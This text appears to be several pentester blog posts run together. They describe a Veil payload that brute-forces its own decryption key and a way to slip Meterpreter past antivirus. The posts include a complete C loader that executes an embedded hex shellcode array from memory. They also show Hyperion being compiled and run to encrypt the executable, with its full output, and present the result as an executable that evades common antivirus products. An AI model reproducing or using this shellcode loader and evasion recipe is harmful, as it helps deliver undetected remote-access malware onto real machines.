Developing a Self-Brute Forcing Payload for Veil

I’ve always thought the concepts that Hyperion utilizes to encrypt and hide an executable are very interesting.  As a result, I thought it would be a fun exercise to try to create a Veil payload that utilizes the following concepts:

  • Encrypt the shellcode stored within the executable
  • Only contain part of the decryption key within the executable
  • Make the payload brute force itself to find the complete decryption key

Hopefully, it’ll be worthwhile to walk you through how this payload works, so that’s what I’ll do. 🙂

Encrypting and decrypting shellcode is the easy part, this is something that is already done in Veil’s AES, DES, and ARC4 encrypting payloads.  But I needed to create a script that attempts to decrypt our ciphertext, thousands of times until it finds the decryption key.  I incorrectly assumed that when using the incorrect decryption key, and exception would be thrown, but that isn’t the case.  The decryption routine is still run on our ciphertext, and garbage data is returned as out “cleartext” data.  Since I can’t trigger an event based on an exception of the wrong decryption key being used, I needed a different method to determine when the real key has been found.  My implementation is to encrypt a known string with the same key used to encrypt the shellcode.  

Each round of the decryption routine will decrypt the ciphertext containing our known cleartext string.  The decrypted value is then compared to the known plaintext string.  If they don’t match, then the code assumes the wrong decryption key was used, and changes to another key.  If the decrypted string matches our known string, the code then assumes that the real key has been found.

BruteForcing Payload

The picture above is the obfuscated source code to the brute-forcing payload.  Line 5 contains our partial decryption key, but not all of it.  They key was artificially constrained to ensure the final few ascii characters used as the decryption key are numerical.  The numbers chosen are within a known range, so while we don’t know the exact number used, we can simply try all numbers within the known keyspace until the correct decryption key is identified.

Line 8 creates a for loop which will loop through all numbers within the known keyspace, and line 9 creates a decryption key by concatenating our partial key plus the “current number” of our for loop.  Line 11 is our attempt to decrypt our known string, and line 12 is checking the decrypted value against our known string.  If it’s a match, we can assume that this is our decryption key.

Once the key has been found, the script then drops into the if statement, and acts like any of Veil’s other encrypted payloads; system memory is allocated for use, the shellcode is decrypted, placed into memory, and then the decrypted shellcode is executed in memory.

The timeframe it takes it receive the callback from this payload obviously varies based on the “random” number that was generated and used in the decryption key.  This payload will be released shortly as one of Veil’s upcoming V-Days.

Bypass Antivirus with Meterpreter as the Payload & Hyperion Fun

Note: Check the tool I work on with a great team, Veil.  It is designed to generate payloads for bypassing Antivirus.  This is more up-to-date than this post.

 

On any pen test, you will discover a number of hosts that are vulnerable to a variety of exploits. So after gathering all the information we can about our target(s), one of the next few steps may be to exploit the system.  Typically, I love using meterpreter as my payload because of the functionality that it offers.  Our team would then fire up Metasploit, configure our exploit for our target, exploit the box, see us uploading the payload, only to have nothing happen.

So what’s the problem?  Well, obviously it could be a number of things, versions are wrong, exploit just didn’t work, etc.  It’s also very possible that everything is working correctly, except the host-based anti-virus caught your meterpreter payload, and won’t let you get on the box.  I’ve come across this problem multiple times, and would love to share a technique that I use to try to circumvent the anti-virus installed on a machine.

First, I’m happy to give credit to two great writeups here and here that I looked up and incorporated into this attack.  I saw a few things that needed to be edited and tried to compile what I did (based off those two articles) into this post.

One of the methods of bypassing anti-virus is to create a “custom” executable template for meterpreter.  As a starting point, you can use the following as a base to your source code (go ahead and open your favorite text editor, lets call the file “base.c”, and add the following):

 

// This should be random padding
unsigned char padding[]=

;

// Our Meterpreter code goes here
unsigned char payload[]=

;

// Push Meterpreter into memory
int main(void) { ((void (*)())payload)();}

 

With the rough outline of our code down, the first thing we will want to do is create the random padding we want to put at the beginning of our file.  You can easily change the size of your random padding by deleting the “1028” from the following command, and replacing it with the size you want to use.

Our command and its output should look similar to the following:

Go ahead and paste the random padding into our base.c file into the appropriate section at the top (in between double quotes).  Our code should now look similar to the following:

 

// This should be random padding
unsigned char padding[]=
"F9d9CxkqvLlodqpws5x4KoI3KoLdcLTae-0DMrcDZiscZi7Gmzug6g1n8L_W6pzPR-bGsm74TBHy3GDof6o-cMIAaiF5nEvEadpxl9p94w12fiLDreuEjLLhW2QXFbKBAIWOKXvMoiBGZHZY4Lyk24HTPuTonrTbf__hZ0G_q_5DVXfKU0s-muqroz-U6j-wDrX2CzKapy8o1Y5zGo0T3BozAuzwe7Q1A-R4JIWEU8LR-8MJrlF5ZthMo4M661VM8-6CY7duKz29tiPr5IEtpYXBVJyhHYCsPd5iVrNc3wzSVQ6jP9dht-znpNi4-wqWVjKng_3j5WjOlva3_jqLcqkMQ5NfrT7ipYlqxvqgYMUU8rvo9PS_DVkA3tM0W1T6BXLE7nmvZmxojfwfNKQEzzCn1-tYyqcd1z1UTnGEIoZp2sHY-kgofDDnHbNk-4-oMQdwuBt56oCWh7jcNwokcpte26FLJBX4C-yM46CJUlNFrgBg28776xxlTyC02Hs-YdkR-rJNvTt3OWOdCNt-1ocoj20QskIVdv2_XZgrTnxyIEOBBYrrmKHgBq4Qvd816iK1Ua2ZymTVRov1qJeiqvIoCr-hufUkQGjMCCGGSAjPacemgU3ztZZZJIPpB7Dc_zIpkSsaCr0kpDz9lFPn-Fn--cQh2l2gUIA8eiMHFeMLDh40da83tfThQqd_MsGb2OL2LmGCpV_QUdbFecP6-eI80sZG34j9Z3ur_6blZbu1f1qjME-bJKJ2ueT0arvydnnfzHIOt-vt26f0cBeE_11hUiTYmhtH9U4Mppe-eVMUJ5E3XU-Q-20-qCZZBWGV0kK4Lpxu8QGI_NrkRcS3CEantKhUkIaxxXWZRJvk0uEcB_YHerHjZT6Fw8_omY8O2BLT5sAg7f-MQm1P8RfTXYILiTbaqzxvg44y8zdEQpzPY4bgy3svNFVheIseFmOPKs-jL5eJkOlrkvniKFwCKatGKF8Aewli1sYmLP3HKVK8Voy-7b-j377x-SMQKUyByz9F"
;

// Our Meterpreter code goes here
unsigned char payload[]=

;

// Push Meterpreter into memory
int main(void) { ((void (*)())payload)();}

Now that we have the padding in our base file, we can create our meterpreter shellcode.  I find it easiest to create the shellcode with msfvenom.  You can go ahead and create your shellcode using nearly the same command I am using here, just be sure to change your payload option values:

With our meterpreter shellcode generated, go ahead and copy just the shellcode and paste it into the appropriate section within our base.c file.  Once you’ve done that, our base.c file should look similar to the following:


// This should be random padding
unsigned char padding[]=
"F9d9CxkqvLlodqpws5x4KoI3KoLdcLTae-0DMrcDZiscZi7Gmzug6g1n8L_W6pzPR-bGsm74TBHy3GDof6o-cMIAaiF5nEvEadpxl9p94w12fiLDreuEjLLhW2QXFbKBAIWOKXvMoiBGZHZY4Lyk24HTPuTonrTbf__hZ0G_q_5DVXfKU0s-muqroz-U6j-wDrX2CzKapy8o1Y5zGo0T3BozAuzwe7Q1A-R4JIWEU8LR-8MJrlF5ZthMo4M661VM8-6CY7duKz29tiPr5IEtpYXBVJyhHYCsPd5iVrNc3wzSVQ6jP9dht-znpNi4-wqWVjKng_3j5WjOlva3_jqLcqkMQ5NfrT7ipYlqxvqgYMUU8rvo9PS_DVkA3tM0W1T6BXLE7nmvZmxojfwfNKQEzzCn1-tYyqcd1z1UTnGEIoZp2sHY-kgofDDnHbNk-4-oMQdwuBt56oCWh7jcNwokcpte26FLJBX4C-yM46CJUlNFrgBg28776xxlTyC02Hs-YdkR-rJNvTt3OWOdCNt-1ocoj20QskIVdv2_XZgrTnxyIEOBBYrrmKHgBq4Qvd816iK1Ua2ZymTVRov1qJeiqvIoCr-hufUkQGjMCCGGSAjPacemgU3ztZZZJIPpB7Dc_zIpkSsaCr0kpDz9lFPn-Fn--cQh2l2gUIA8eiMHFeMLDh40da83tfThQqd_MsGb2OL2LmGCpV_QUdbFecP6-eI80sZG34j9Z3ur_6blZbu1f1qjME-bJKJ2ueT0arvydnnfzHIOt-vt26f0cBeE_11hUiTYmhtH9U4Mppe-eVMUJ5E3XU-Q-20-qCZZBWGV0kK4Lpxu8QGI_NrkRcS3CEantKhUkIaxxXWZRJvk0uEcB_YHerHjZT6Fw8_omY8O2BLT5sAg7f-MQm1P8RfTXYILiTbaqzxvg44y8zdEQpzPY4bgy3svNFVheIseFmOPKs-jL5eJkOlrkvniKFwCKatGKF8Aewli1sYmLP3HKVK8Voy-7b-j377x-SMQKUyByz9F"
;

// Our Meterpreter code goes here
unsigned char payload[]=

“\xba\xd7\x0c\xb4\xfa\xd9\xc1\xd9\x74\x24\xf4\x58\x2b\xc9\xb1”
“\x57\x83\xe8\xfc\x31\x50\x0e\x03\x87\x02\x56\x0f\xfd\xca\x4f”
“\x84\x25\x19\xd5\x05\x4e\x2c\x7c\x9b\xb9\x67\x30\x73\x88\x22”
“\x2b\x77\xbf\xd4\xc8\xb2\x5b\x6c\xf6\xd2\xd0\x3a\x54\xb7\xb6”
“\x6a\xd0\x10\xc4\xae\x92\xb7\x9b\xb4\x9c\x02\x72\xea\xfe\x1d”
“\xb9\x31\xbf\x3e\x09\xf5\x69\x25\xcb\x31\x56\x43\x8b\xec\xfe”
“\xd1\xbf\xad\x50\x7e\x8f\x9d\x5f\x13\xb8\xd6\x4a\x03\xfc\xb1”
“\x89\x08\x6f\xf9\x35\x3b\x1a\xd3\xf7\xe5\x50\x13\x0a\x0b\xc3”
“\x87\x34\x9c\x4c\x4b\xcf\xbf\x01\x20\x45\x85\x8e\x82\x1c\x0c”
“\xfa\x47\xa6\x03\xef\x16\xbd\xe9\x99\x87\xa9\xa9\x75\xf6\x6d”
“\x6c\x43\xa8\xd9\xd0\x18\xb4\xd1\x93\x18\xf1\x3f\x08\xd0\xe3”
“\x7a\x66\x1e\x90\x70\x90\xc3\x01\x61\xaf\xb4\xc0\x1e\xd8\x6d”
“\xb7\x88\xfa\x7b\x2d\x75\x2f\xea\xda\x22\x2f\x26\x7a\x7c\x4e”
“\x0a\xb8\x7a\xac\x1b\x74\x17\x3c\x92\x18\x6d\x67\xb3\x01\xb1”
“\x4a\x43\xe4\x72\xf8\x15\xf8\x4b\x4a\xfb\x65\xbb\xf2\x6f\xe9”
“\x9f\x58\x6b\xcd\x96\x7b\x80\xa9\xfe\xa6\x2e\xf7\xfa\xf5\x1d”
“\xc5\xd4\x3d\x73\xe2\xd2\x94\xce\x85\x35\x62\xc4\xb9\x1b\x87”
“\x20\x46\x16\xa6\xa4\xc2\x74\xfc\x5c\xfb\x83\x8b\x60\x4a\xd1”
“\x72\x48\xab\xd7\xd9\x86\x7f\x2b\xbb\x06\x74\x54\xf0\xb6\xb8”
“\xa8\x16\x97\xa2\xba\xc3\x79\x6f\xab\xdd\x6f\x3c\x74\x6c\xf4”
“\x9d\xcc\x34\x84\xef\x34\x0c\x78\xc1\xe9\x2e\x57\xf6\x73\x9f”
“\x12\x58\x6f\x48\xb5\x04\x45\x13\x86\x3c\xbb\xab\xce\x8a\x15”
“\x07\x65\x73\x0e\x50\xd1\xa2\x29\x6b\x46\x3b\x40\x9c\x56\x1a”
“\xb6\x8d\x22\x16\x66\x2f\xa8\x03\xdc\x58\x48\x91\x44\x18\xd9”
“\x1d\xb6\x0f\xfe\xca\x7b\x03\xd1\x94\x54\xba”

;
// Push Meterpreter into memory
int main(void) { ((void (*)())payload)();}

 

Congrats, you’ve made a pretty decent template file which includes our payload.  Now, all that you need to do is compile it.  I like to use gcc.exe within Backtrack with wine. So, you can navigate to the compiler (it’s at /root/.wine/drive_c/MinGW/bin/gcc.exe), call the compiler through wine, provide it our source file, and specify the output file. Your command should look similar to the following:

Congrats again.  You now have an executable that you should be able to drop on a windows machine that doesn’t get flagged by Microsoft Security Essentials in addition to a variety of anti-virus programs.

So now what?

There’s an additional step we can take to try to further prevent detection of our executable, and it’s with a packer & encrypting tool called hyperion.  Hyperion is a tool that encrypts the executable you provide it with 5 rounds of AES encryption by default and outputs an executable.  The executable file that is produced by hyperion can then be ran on a windows machine.  The executable will brute force its own AES keys and then execute the payload you originally provided it.  It’s a sweet tool that does a really good job at hiding the payload you are encrypting.  The only problem with hyperion at times is that it can be detected as a packer by certain anti-virus programs.  However, it still is not recognized by a majority of AV solutions.

This is a quick article introducing Hyperion, a sweet tool I found after listening to Dave Kennedy talk, and how it can be compiled.

First, while researching how to use the tool, I came across this resource which helped me to write this article.

Hyperion is a tool that can be used to help prevent your payload from being detected by antivirus.  It works by encrypting your payload via AES encryption, and essentially throwing away the keys.  It’s output is an encrypted executable.  When the output file is ran, the executable brute forces the encryption keys, and then runs the previously encrypted executable (meterpreter payload :)).

So where do you get it and how can you compile it?  Hyperion can be found for download at this location.

Once downloaded and unzipped, you can easily compile the tool with g++.exe on Backtrack.  To compile it, point g++.exe to the .cpp files within the “Crypter” directory under “Src”.  Your command may look similar to the following:

wine g++.exe Hyperion-1.0/Src/Crypter/*.cpp -o hyperion.exe

Your command should have completed without any errors, and now you have compiled hyperion for use.

So all we need to do is call hyperion, provide it our executable that we want it to hide, and then give it the name of the executable to output.  Once compiled, hyperion can be run through wine or from the Windows command line.  Our commands and their output should look similar to the following:

root@bt:~/.wine/drive_c/MinGW/bin/Hyperion-1.0# wine hyperion.exe metexecutable.exe encryptedmet.exe
Opening metexecutable.exe
Copied file to memory: 0x115868
Found valid MZ signature
Found pointer to PE Header: 0x80
Found valid PE signature
Found a PE32 file
Number of Data Directories: 16
Image Base: 0x400000

Found Section: .text
VSize: 0x924, VAddress: 0x1000, RawSize: 0xa00, RawAddress: 0x400

Found Section: .data
VSize: 0x5f0, VAddress: 0x2000, RawSize: 0x600, RawAddress: 0xe00

Found Section: .rdata
VSize: 0xc0, VAddress: 0x3000, RawSize: 0x200, RawAddress: 0x1400

Found Section: .bss
VSize: 0xe0, VAddress: 0x4000, RawSize: 0x0, RawAddress: 0x0

Found Section: .idata
VSize: 0x268, VAddress: 0x5000, RawSize: 0x400, RawAddress: 0x1600

Input file size + Checksum: 0x4140
Rounded up to a multiple of key size: 0x4150
Generated Checksum: 0xcf0cc
Generated Encryption Key: 0x0 0x2 0x1 0x2 0x3 0x3 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0

Written encrypted input file as fasm array to:
-> Src\FasmContainer32\infile.asm

Written input file’s image base to:
-> Src\FasmContainer32\imagebase.asm

Written input file’s image size to:
-> Src\FasmContainer32\sizeofimage.asm

Written keysize to:
-> Src\FasmContainer32\keysize.inc

Starting FASM with the following parameters:
Commandline: Fasm\FASM.EXE Src\FasmContainer32\main.asm encryptedmet.exe
FASM Working Directory: C:\MinGW\bin\Hyperion-1.0

Executing fasm.exe

flat assembler version 1.69.31 (1020166 kilobytes memory)
5 passes, 0.1 seconds, 35328 bytes.

And that’s it.  Hopefully either or a combination of both of these techniques have helped you to bypass the antivirus product you are going against.

Good luck, and let me know if you have any questions!